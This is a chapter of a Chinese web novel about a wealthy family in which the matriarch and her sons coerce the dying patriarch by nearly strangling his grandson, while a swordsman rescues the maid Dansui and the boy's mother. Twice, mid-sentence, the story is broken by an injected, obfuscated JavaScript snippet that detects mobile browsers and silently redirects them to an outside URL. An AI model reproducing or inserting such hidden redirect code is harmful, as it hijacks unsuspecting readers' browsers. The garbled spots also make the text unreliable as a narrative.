“送去了,王信春接的,他托我禀明太太,他要扶棺送他爹回乡下安葬,等他爹过完五七,他们一家再回来伺候。”薛大娘说。 过完五七是一个多月后的事了,到时候不论是施老爷还是施继之,两个人是生是死都有定论,施家的风波也能得以消停。 “他比他爹聪明。”朱氏说一句,她丢下勺子,离开走马楼前往前院。 “侄媳妇,这么早就起了?”施三叔从前门进来,在轿厅里迎上朱氏,他笑容满面地上前问好。 朱氏闻到他身上廉价的脂粉香,她夹着眉头退一步,问:“三叔怎么这么早就来了?可是衙门那儿有什么难事?” “衙头胃口大,昨夜我请他们在怡香院玩一整晚,早上从怡香院出来,他们话里话外还让我请客,今晚还想去游画舫听歌姬唱曲。” 朱氏听懂了,这是来要钱的,她冲身后的丫鬟说:“让你薛大娘拿一千贯的钱引给三老爷,稍后送到议事堂来。” “三叔,一千贯可够了?”朱氏扭过脸问。 “够了够了。”施三叔笑容满面,他满面红光地说:“还是侄媳妇大方。” 昨天他闹着要见陈氏和瑞哥儿,朱氏正愁怎么打发他,恰巧衙门的衙头找上门,桑榆庄几乎成为乱葬场,王管家也死了,这个烂摊子一时半会儿处置不了,朱氏趁机把施三叔支出去,给他拿三千贯钱让他带衙头去吃喝嫖赌。 施三叔拿到钱二话不说就出门离开,陈氏和瑞哥儿被他利索地抛在脑后,他留在施园守着施寅的事更是提都不提。 朱氏和施三叔一前一后去议事堂,进门发现只有一个小厮守在床边,她疑惑道:“李大夫呢?” “不知道,小的过来给老爷送参汤见屋里没人,去护卫院也没找到李大夫,我就留在这儿守着。” “快去找。”朱氏说。 施三叔掩一下鼻子,屋里一股子臭气,他恼火地骂:“侄媳妇,你们养一大群下人,就没一个手脚利索能伺候人的?那劳什子大夫也不是玩意儿,让他来守着我大侄子,他溜哪儿偷懒去了?” “太太,钱引拿来了。”薛大娘及时赶到。 闻言,施三叔立马不摆谱了,他走出去一把夺过钱引,确定是一千贯钱,他把钱引塞怀里,说:“侄媳妇,我不打扰你整治下人,先走了啊。” 朱氏“哎”一声,“三叔慢走,我就不送了。” “不送不送,你多陪陪我大侄子……要是有什么消息,你打发人去族里通知,我们都来帮忙。”施三叔边走边说,一出月亮门,他遇上施顺之,他敷衍地招呼一声:“顺之也去看你爹?还是你孝顺,多陪陪你爹。” 施顺之客气几句,他目送施三叔的身影离开施园,这才往议事堂去。 不多一会儿,四爷和五爷听到消息也匆匆赶来,生怕施老爷在他们不在的时候醒了。 “太太,没找到李大夫,我在施园找遍了,都说没看见他。”下人来报。 四爷的目光一闪,说:“看看家里少没少东西,他别是偷拿什么好东西连夜跑了。” 荒凉偏僻的河岸上,李大夫伏在九姨娘身上痛哭,韩乙抱臂在一旁冷眼旁观。 “你俩奸情暴露了?谁杀的你们?”他不耐烦地问。 粗哑的哭声戛然而止,李大夫慌张地抬起头,“你也知道?你什么时候知道的?” “你别管我什么时候知道的,我问你是谁杀了你们?怎么她死了你没死?” “是四爷,他五更天的时候猛地来了,我跟听雪在榻上睡觉,被他逮个正着。”李大夫低着头说。 四爷?不是朱氏?韩乙皱眉,他从记忆里翻找出这个人,根据他的判断,这个人贪婪、冲动、有小心思但不精明,甚至是胆小怕事,这种人会在五更天从床上爬起来去看他爹? “确定是他?”韩乙不放心地问一句。 李大夫迟疑地点头。 “还有什么内情?”韩乙蹲下身问。 李大夫迅速摇头,牵扯到脖子上的勒伤,他疼得呲牙咧嘴。 韩乙看一眼九姨娘,她脸上的血色消失殆尽,已经转为青灰色,他毫不留情地说:“你是杀人凶手,她的死是你造成的。” 李大夫愣住。 “要不是你勾搭她,她这会儿估计还坐在暖和的被窝里等丫鬟提饭回来。” 李大夫再次失声痛哭。 “你们好多长时间了?朱氏也知情吧?她允许这种事发生?你是不是答应了她什么事,才让她默许你俩在她眼皮子底下偷情?” 李大夫闻言好比掐住脖子的鸡,哭声再次戛然而止,他不敢抬头看韩乙,只能看着九姨娘的脸,嘴巴开开合合说:“没有,她不知情……” 下一瞬,他凌空飞起,“砰”的一声砸进冰冷的河水里。 韩乙收回发力的脚,盯着河水里起起伏伏的身影,说:“想明白了喊一声,我去捞你。再不老实交代,我今天拎两具尸体去报官。” 李大夫被水卷走,水流卷得他压根露不了头,一张嘴,寒冷的水灌满他的嘴和鼻子,在他意识恍惚之际,一只手拽住他的后颈。 韩乙把他拖起来倒放在石头上,脚尖抵着心肺一压,李大夫一个弹起,抱着石头哇哇吐水,边吐边哭,这次的哭声真实多了。 “我说,我说。”李大夫不挣扎了,这是个活阎王。他把他为朱氏做的事通通交代清楚,但下意识隐瞒了借韩乙的手加重施老爷病情这一环。 “我也怀疑是朱氏想要我的命,但没有证据。你来施家时日短,恐怕不清楚,四爷有心眼没心计,要是三爷在深更半夜偷偷溜到议事堂找什么东西还可能,他不可能,他是别人做什么他才知道做什么。”李大夫打着哆嗦说,见韩乙盯着他,他举手发誓:“我都交代了,没一点假话。” “你跟我去见施家族老,把这番话当他们的面再说一遍。”韩乙说。 “不行!我不去!我好不容易才死里逃生。”李大夫抗拒,他爬起来就跑。 韩乙轻轻松松把人逮回来,把李听雪的尸体捆他身上,他像牵狗一样拖着他走。 * “太太,老爷醒了。”丫鬟出来禀报。 角亭里气氛一窒,朱氏看向施顺之。 “三哥,你快去吧,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15230370|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖下去爹咽气了,什么都晚了。”施守之说。 施顺之瞪他一眼,蠢货,分不清里外的蠢货。 施守之面上讪讪,仍逞强说:“这不是大嫂信任你,她要是信任我,今天就是我去。” “太太,老爷要找丹穗姑娘。”丫鬟再次出来禀报,她神色惶惶地说:“老爷这会儿精神不错,能坐起来了。” 朱氏一惊,她猛地站起来,这是回光返照。 施顺之不再耽误,他立马离开角亭,说:“我去找瑞哥儿。” “去把丹穗带来。”朱氏吩咐下人。 说罢,她带着两个庶子前往议事堂。 “娘,不喊二哥过来?”五爷小声问。 “他不是老爷亲子,不得老爷不喜欢,不让他过来碍眼。”朱氏哪会让她儿子沾这等污秽事。 “丹穗呢?你把丹穗弄哪儿去了?”施老爷一见朱氏张口就问。 “她马上就来。”朱氏打发丫鬟下去,并吩咐守好门,不准让任何人进石园。 “你要做什么?你们要做什么?”施老爷问。 “老爷,还是没有继之的消息,看来结果不大好,你节哀。”朱氏毫无感情地说,“不过他没了,你还有三个亲子四个亲孙,你不要偏心太过,你的家产合该重新分配。” 施老爷理都不理,下一瞬,他看见施顺之抱着瑞哥儿进来。 “你大孙子有没有命活,就看老爷肯不肯心软了。”朱氏话里掺了丝兴奋,她扭过脸和蔼地说:“瑞哥儿,求求你祖父,让他饶你一命。” 瑞哥儿察觉到不对劲,他挣扎着要跑,但他一个六岁的小儿哪能逃出一个成年男人的桎梏。 “瑞哥儿,别怪三叔。”施顺之别过脸,虎口掐上侄子的脖子。 “娘——” “畜牲!你干什么!”施老爷吓得目眦俱裂,他滚下床在地上爬,“瑞哥儿!畜牲,你松手。” 丹穗快步闯进来,一眼看见瑞哥儿被施顺之掐得眼珠爆出,脸颊涨红。 “畜牲!你要掐死他了!”丹穗心急得撞上去,下一瞬被施守之制住,她气得大骂,叔叔杀亲侄,畜牲不如。 朱氏拍一下手,施顺之松开手,瑞哥儿瘫倒在地,不住地呕吐,身下还有水迹在地上漫延,屋里弥漫着酸气和骚味。 “老爷,你的私印藏哪儿了?”朱氏开口,“这一次是我心软,你要再不老实交代,你大孙子恐怕真要死在你前面了。” 施顺之的手再次伸出去。 “别动他!我给——”施老爷大哭,“我给,我都给你们,留他一命……报应啊,都是报应……” 朱氏看向丹穗,说:“丹穗姑娘,老爷发话了,拿出来吧。” 丹穗看一眼缩在地上不住痉挛的孩子,她喘着粗气掉眼泪,这是一家恶魔。 施老爷爬到瑞哥儿身边,不料身后踹来一脚,一脚踹在他腰骨上,他匍匐在地动不了了。 “就施继之是你亲生的?我们不是你亲儿子?”施守之气冲冲地骂。 “行了。”施顺之开口阻止,他看向丹穗,说:“丹穗姑娘,别敬酒不吃吃罚酒。” “印章在屏风的屏柱里。”丹穗不挣扎了,她就是有百般计谋,也耐不住一群没人性的东西。 施顺之他们三个闻言一拥而上,高大的屏风倒地,他们撕开屏风拽下屏柱,争相寻找印章。 丹穗悄悄退出去,离开前她又看一眼,对上施老爷无神的眼睛,她发现他死了,而他的儿子们毫不关心,如野狗一样聚在一起撕咬他捕获的猎物。 19.施继之回来 “丹穗姑娘,你去哪儿?”红缨在月亮门外拦住人。 丹穗盯着她,红缨目光微闪,她避开丹穗的眼睛,说:“都是做下人的,你不要为难我。” “我没打算跑,也跑不出去。”丹穗脚步不停地往外走,嘴上说她就在轿厅里坐坐,眼睛则丈量着距另一个月亮门之间的距离。 红缨出手拦她,丹穗身子一弯从她臂下绕过去,小玉见红缨一个人拦不住,她也忙来拉扯。 薛大娘站在石阶上冷笑,“我倒要看你能跑到哪儿去。” 这时朱氏从议事堂踱步出来,见两个人还拦不住一个人,她斥骂一句:“没用的东西!你们在过家家不成?把她给我押进来。” 宝柱一听,立马也上手去撕扯。 丹穗鼓足劲挣扎,她捡起一个花盆朝红缨砸过去,前路撕开一条道,她迅速冲过去。 离陈氏住的跨院更近了,丹穗也被宝柱抓住了,但只一瞬,她一挣扎,桎梏她的力道顺势卸掉,她来不及多想,一个猛子冲进甬道里,鼓足全身的力气大喊:“大奶奶,瑞哥儿被三爷掐死了——瑞哥儿被三爷掐死了——” 轿厅里一静,下人们被她的话镇住了,朱氏气得尖声大喊:“捂住她的嘴!别让她胡说八道!” “老爷死了!太太把老爷逼死了!”丹穗边跳边喊,“瑞哥儿死了——大奶奶呕,瑞哥儿被掐死呜呜呜……” 宝柱大叫一声,下意识松开手,他的手指快被她咬断了,白瞎他刚刚放她一马。 “……瑞哥儿死了。”丹穗疯了一样,逮到机会就喊。 陈氏冲出来,她嘶声力竭地喊:“你说什么?” “你听她胡说八道。”朱氏出声,她训斥下人:“还不把大奶奶拉下去。” 丹穗被捂住嘴,她伸手指向石园。 陈氏“嗷”的一声,她甩开拉她的下人往石园跑,她被关在跨院关了五六天,人憔悴得不成样子,纤细的身姿越发弱不禁风,这会儿却如发狂的母猫,对着来拦她的人又抓又咬,如杜鹃泣血的喉音让人心惊,渐渐的,阻拦她的人少了。 丹穗看陈氏的身影消失在轿厅里,她的眼泪大滴大滴往下掉,宝柱捂着她的手被眼泪砸得发烫,他不自在地退一步,手也跟着松开了。 “贱人,真是小瞧你了。”朱氏上来要扇她嘴巴子,却扇了个空,还被丹穗一头撞进怀里直挺挺地摔在地上。 “老虔婆,你该死,连小孩也不放过,亏你还是当娘的人……滚,别拽我——你们会有报应的。”丹穗骑在朱氏腰上以掌化拳砸她的头,她有一种在疯癫中沉沦的恍惚,能感觉到自己的手在颤抖,打人的力道却越来越狠,被下人拖起来时,她还朝朱氏肚子上狠踩两脚。 她浑身颤抖,心里却觉得真是痛快。 “畜牲,没人性的畜牲,你儿子孙子都不得好死。”丹穗如鲤鱼打挺,边骂边挣扎,身边的人逮着谁踹谁。 直到丹穗被捆起来,嘴巴堵上了,她才安静下来。 朱氏哎呦哎呦地叫,她腰疼肚子也疼,疼得站不直,右臂更是一动就疼,被扑倒的时候她用右手撑了一下,估计是骨折了。她咬牙切齿地盯着丹穗,恨不得撕下她的肉生嚼了。 “掌她的嘴。”朱氏吩咐薛婆子动手。 薛婆子撸起袖子,上前照着丹穗的脸甩几巴掌,丹穗被她扇得歪倒在地,又被扯着头发拽起来打。 朱氏舒坦了点,她恨恨地想真是小瞧她了。丹穗溜出议事堂的时候她看见了,但没有出声阻止,她心里清楚丹穗逃不出去,存心想要溜一溜她,让她当一回人人喊打的老鼠。可她还是小瞧了她,没想到丹穗压根没想逃,她跑出来是为了通知陈氏。 呵!自己都自身难保了,还有心思同情别人。 “太太!小心!”红缨大叫一声,扑上去拦住陈氏。 朱氏回头,见陈氏披头散发如疯狗一样攥着一块儿石头朝她扑来,她吓得连连后退。 “朱红莲,你害了我儿子,继之回来剥了你的皮。”陈氏手上的石头被夺走,人也被下人架起来,她动不了,只能嘶哑着嗓子骂。 “我害你儿子什么?你不长脑子?净听丹穗胡嚼。老爷要咽气了,念着要见瑞哥儿,老三好心领他过来,哪料到瑞哥儿胆子太小,见到他祖父快死的样子,吓得喘不过气,还尿了裤子。”朱氏早就准备好了说辞,要不是丹穗突然发疯,她的计划天衣无缝。 陈氏哪会信,她瘫倒在地大哭,她无能啊,朱氏和施顺之他们三个结伙,她儿子被他们弄傻了,她拿他们还没办法。 施顺之抱着瑞哥儿出来,说:“大嫂,对不住,是我没注意好,让爹吓到瑞哥儿了。我这就去寺里请高僧来看看,来给瑞哥儿叫叫魂。” 陈氏强行让自己冷静下来,她爬起来抱住瑞哥儿,跟朱氏说:“太太,让丹穗姑娘随我回去照顾瑞哥儿。” 丹穗透过垂落的发丝看过去,瑞哥儿的眼睛木愣愣的,像是不会认人,嘴里还流着涎水,一副痴呆样儿,一个好好的孩子被吓傻了。 “我安排红缨去照顾瑞哥儿,丹穗不行,她犯了错,没资格伺候主子。”朱氏拒绝。 “你要怎么惩治她?要她的命?丹穗姑娘是老爷的枕边人,老爷病后是她一手伺候的,她就是犯再大的错,看在老爷的面子上,太太也该饶她一次。”陈氏怕丹穗落在朱氏手里丢了命,她坚持要把丹穗要过来。 “娘,就让丹穗姑娘去陪大嫂吧。”施顺之开口,“我爹的丧事该张罗了,不能再耽误。王管家不在了,也该再挑个新管家,在天黑之前,把家里的灯笼都换成白灯笼。” 朱氏抬头看一眼灯笼,立马明白了他的意思。 “行,那就依你,可别再闹了。”朱氏松口,“红缨,送大奶奶回院子里。” 丹穗也被带下去了。 她们前脚走进跨院,后脚就来了几个健壮的下人把住进出的两个门。 陈氏抱孩子回屋了,丹穗一个人在天井下坐着发呆,她心里清楚,朱氏毫不避讳地让她看到他们逼死施老爷,是存了灭口的心。眼下把她跟陈氏安排在一起,不怕她告诉陈氏发生了什么事,恐怕是打算一举灭了她俩和瑞哥儿。 丹穗透过天井望天,心里盼着韩大侠能来救她,又觉得他不来也没事,就这样死了也行,活着可太累了,人心太可怕了。 不知过了多久,外面喧哗声大了起来,嘈杂的说话声中掺着凄凄艾艾的哭声,看来是施家的族人得到消息前来帮忙准备丧事。 另一头,韩乙晚了一步,他拖着李大夫徒步走回闹市耗了大半个时辰,二人一尸换上干爽的衣裳靠问路找到施二老爷家时,从下人口中得到施寅离世的消息,施二老爷自然不在家。 韩乙带着李大夫和九姨娘再次回到施园时,施老爷的灵堂都布置妥了。 “走,我带你俩闯进去。”韩乙说。 李大夫不肯,他跪倒在地,伏在他背上的九姨娘掉了斗篷,露出一张生出尸斑的脸,船上的船夫看见了吓得掉了木棹。 韩乙拽起他,迅速换个隐蔽的地方说话。 “韩大侠,没用的,施老爷已经死了,施家现在是朱氏和三个爷掌家,施家的族人就是晕了头也不会得罪他们。”李大夫心急地说,“你真要信我的话,我见的阴私事太多了,像这种富户,手上沾的人命数不清,他们都是看利益说话的。” 韩乙清楚他的话没错,但他不得不去试一试,他还得扳倒朱氏,不然丹穗姑娘没活路……对了,施老爷死了,朱氏拿到她想要的东西了吗?她要是得手了,丹穗姑娘岂不是有麻烦? “你在这儿等着,我混进施家探探情况。”他说。 李大夫迫不及待地点头,“你去吧,我在这儿等你。” “别想逃,我出来要是没看见你,我就去报官,说你杀了九姨娘。我想施家的人要是知道你没死,砸钱也得让官府抓住你,要了你的命。”官场腐败,官商勾结严重,韩乙确信报官奈何不了朱氏和施守之,但对普通人而言,下了大牢再无出来的可能。 李大夫苦了脸,他瘫坐在地,“我不跑,我就在这儿等你。” 韩乙溜到埠口,刚巧送棺材的船来,他混进抬棺的队伍里溜进施园,顺利来到前院。 “哎——前面那个小厮等一下。”安翠儿穿着一身白追上来。 韩乙腿脚僵住,他衡量两瞬,扭过脸说:“安姨娘,是我,我溜进来是想拿我的刀。” “得了吧,护卫院可不在这个方向。”安翠儿白他一眼,她站在离他一臂远的地方,快速说:“你是来找丹穗吧?她出事了,被太太关在大爷和大奶奶住的跨院里,还有人守着,你小心点。” “多谢姨娘告知。” 安翠儿“唉”一声,她嘀咕一句:“我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238067|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道……算了算了,也算她和听雪走运,遇到肯待她们好的男人。” 有人来了,安翠儿咳一声,她上前绊住人:“前院打碎了两个茶壶,你再去库房拿两个茶壶送来。” 韩乙趁机溜回前院,他寻个打水的活计去小厨房,走到拐角处,他蹬墙翻进跨院,跟满脸红肿的丹穗对上眼。 丹穗认出他,压在心底的后怕如海浪一样席卷全身,她泪眼朦胧地盯着他,泪意泡发的视野中,他的身影越来越高大。 “韩大侠——”她扑进他怀里,呜呜咽咽地说:“韩大侠,你带我走吧,我还不想死。” 韩乙僵硬地定住了,他望望天,再垂下眼时,他看见她的发顶红了一大片,甚至隐隐还有血点。 “行,我带你走。”他抬手扶住她的肩膀,目光扫过她肿得发亮的脸,安抚说:“别哭了,跟我说说发生了什么事。” 丹穗带他走进陈氏的卧房,陈氏还在掉眼泪,瑞哥儿傻愣愣地呆坐着,对她的哭声毫无反应,屋里突然出现两个人他也像没看见一样。 丹穗从她走进议事堂开始说起,把她的所见所闻一一讲给陈氏和韩乙听。 “如果我没猜错,大概在今晚,这个跨院将会失火,朱氏和三爷不会让知情的人活着。”丹穗说。 “那怎么办?韩大侠你帮帮我们娘俩,我和瑞哥儿要等继之回来给我们报仇。”陈氏慌张央求。 “别急,起火的时候我会趁乱进来救走你们。”韩乙毫不犹豫地揽下这个事,“不过你丈夫是生是死没人知道,你带个孩子留在平江城挺扎眼,你娘家在哪儿?我找船先送你回娘家。” “我娘家在江宁府,劳烦韩大侠了。”陈氏抱着瑞哥儿下床,她按着他跪下,母子俩给韩乙磕一个,给丹穗也磕一个。 “韩大侠,丹穗姑娘,我们娘俩在此谢过你们。”陈氏的眼泪打湿地面。 “大奶奶客气了,瑞哥儿也是我看着长大的。”丹穗扶起她,说:“好好歇一会儿,晚上才有精力逃跑。” 韩乙忍不住看向她,她的脸肿得老高,眼睛却坚定得发亮,他想她跟陈氏不一样,她也会哭,但心里永远不缺谋算,她这辈子可能永远不会用触地的膝盖去表达谢意。 “我要离开一趟,要去找个船,再寻个落脚地。”韩乙说。 “行,你走吧,这儿有我看顾着。”丹穗虽还忐忑,但也没留他。 韩乙离开,在天色将黑时又混进来。 外面开宴了,酒喝到酣处,跨院里起了大火,韩乙趁机把火势弄得更大,在腾腾大火背后,他先后两趟背着丹穗和陈氏翻出墙,李大夫在外面接应。 “走。”韩乙背着瑞哥儿跑起来。 五人一尸在子时抵达李大夫幼时住的老屋,韩乙和李大夫连夜挖坑把九姨娘埋了,次日一早,赶在陈氏丧生火海的消息还没传出来之前,五个人乔装后混进一艘运货的船。李大夫和陈氏扮做夫妻,要带孩子去临安府看大夫,没有户籍的丹穗是丫鬟,韩乙则是保镖。 “你们的船先退回去,贾氏船行的船回来了,让他们先进。”守水门的官差挥舞旗帜,指挥货船后退。 “会不会是贾释道找到继之了?”陈氏忍不住走到船板上观望。 丹穗闻言下意识避进船舱。 两船交错,陈氏认出站在三楼甲板上的男人,她又哭又笑地喊:“继之,是继之,瑞哥儿,你爹回来了。韩大侠,我们不走了,我丈夫回来了。” 韩乙大松一口气,这是天大的好事。 “丹穗姑娘,我们也不走了,我得把施顺之、施守之和朱氏娘仨杀了再离开,免得他们再害人。”韩乙走到丹穗身边说。 丹穗咬紧牙关,她深吸一口气,强扯出笑:“韩大侠,我听你的。” “过了今天,你还会带我走吗?”她仰头望着他,眼里充斥着惶恐和害怕。 拒绝的话到了嘴边,韩乙说不出口,他别开脸,她红肿的脸却依旧清晰地映在他的眼底。他想起他见到她的头一面,她脸上带伤,他要带她离开平江府时,她脸上伤势更重。 如果他坚持把她留在陈氏身边,等他再次回到平江府,她会不会已经没命了? “如果你到时候还愿意离开……” “愿意,我愿意。”丹穗抢答,她装作没看出他的勉强,自顾自说:“这是我陪韩大侠行侠仗义的第一单。”